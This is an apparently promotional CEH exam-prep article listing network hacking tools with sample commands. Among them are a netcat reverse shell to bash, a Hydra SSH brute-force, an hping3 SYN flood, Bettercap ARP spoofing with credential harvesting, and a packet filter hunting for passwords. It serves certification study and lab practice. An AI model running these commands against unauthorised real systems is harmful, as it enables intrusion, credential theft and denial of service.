What Are the Top Tools for Network Hacking in CEH?
2025-2026 updated list of the most important network hacking tools tested in CEH v13 theory and practical exams. Master Nmap, Wireshark, Bettercap, Metasploit, Nessus, Masscan, Hydra, Netcat, tcpdump, hping3 and more – with exact commands, use cases, and lab tips to score high.
Introduction
Network hacking forms the backbone of every penetration test and is heavily tested in both CEH theory (15–20%) and practical exams. Knowing the right tool and its exact command can save hours and earn you crucial flags.
Below are the top tools you must master in 2025-2026 to dominate the network module.
Top 10 Network Hacking Tools for CEH (Must-Know)
| Rank | Tool | Primary Use | Exam Weight |
|---|---|---|---|
| 1 | Nmap | Scanning & enumeration | Highest |
| 2 | Wireshark | Packet analysis & sniffing | Very High |
| 3 | Bettercap | MITM & spoofing | High |
| 4 | Metasploit | Exploitation | High |
Start your journey with Kali pre-installed tools.
Nmap – The King of Network Scanning
- nmap -sS -sV -sC -O -p- target
- nmap --script=vuln target
- nmap -iL targets.txt -oX result.xml
- Firewall/IDS evasion: -f -D -g
Wireshark & tcpdump – Packet Capture Masters
- Wireshark filters: http contains "pass", ip.src == 192.168.1.10
- tcpdump -i eth0 -w capture.pcap host 10.10.10.10
- Follow TCP/HTTP stream
Practice packet analysis in your own lab.
Bettercap & Ettercap – Modern MITM Tools
- bettercap -iface eth0 → arp.spoof + http.proxy
- SSL stripping & credential harvesting
- DNS spoofing module
Masscan & ZMap – Ultra-Fast Port Scanners
- masscan -p1-65535 10.0.0.0/8 --rate=100000
- Perfect for large network discovery
Combine with Nmap for accurate results.
Hydra & Medusa – Password Brute-Force Tools
- hydra -l admin -P rockyou.txt ssh://192.168.1.1
- Supports 50+ protocols (RDP, SSH, FTP, HTTP)
Netcat & Socat – Swiss Army Knife of Networking
- nc -lvnp 4444 (listener)
- nc 10.10.10.10 4444 -e /bin/bash (reverse shell)
- File transfer, port scanning, banner grabbing
Every CEH student must master netcat.
Nessus & OpenVAS – Vulnerability Scanners
- Authenticated vs unauthenticated scans
- Policy creation & report analysis
hping3 & Scapy – Packet Crafting Tools
- hping3 --syn -p 80 target (SYN flood)
- Scapy for custom packet creation
Conclusion: Build Your Network Hacking Toolkit Today
These tools are not optional – they appear in every CEH practical exam and real penetration test. Spend 70% of your network module time doing hands-on labs with these exact tools.
Join a CEH course that provides 24×7 access to all these tools pre-installed on Kali + real vulnerable networks. Master them once, and you will never struggle with network hacking questions again.
Frequently Asked Questions
Which tool is most important for CEH network module?
Nmap – appears in every single exam.
Is Bettercap better than Ettercap?
Yes. Faster, actively maintained, more features.
Do I need GPU for network hacking?
No. Only password cracking needs GPU.
Is Masscan allowed in CEH practical?
Yes, and it saves huge time on large networks.
Can I use Windows tools for CEH?
Possible, but Kali Linux tools are expected.
How many Nmap commands to memorize?
At least 15–20 core commands and options.
Is Wireshark hard for beginners?
No. Start with basic filters and follow streams.
Which tool replaced Cain & Abel?
Bettercap + Wireshark combination.
Is Netcat still relevant in 2025?
Absolutely – it’s in every pentester’s toolkit.
Can I practice these tools legally?
Yes, on VulnHub, TryHackMe, Hack The Box.
Do I need to buy any paid tool?
No. All top CEH network tools are free/open-source.
Which tool is best for ARP poisoning?
Bettercap is the current standard.
How much time to master these tools?
30–45 days with daily lab practice.
Are these tools pre-installed in Kali?
Yes, 95% come built-in.
Which tool should I learn first?
Nmap → Wireshark → Bettercap.
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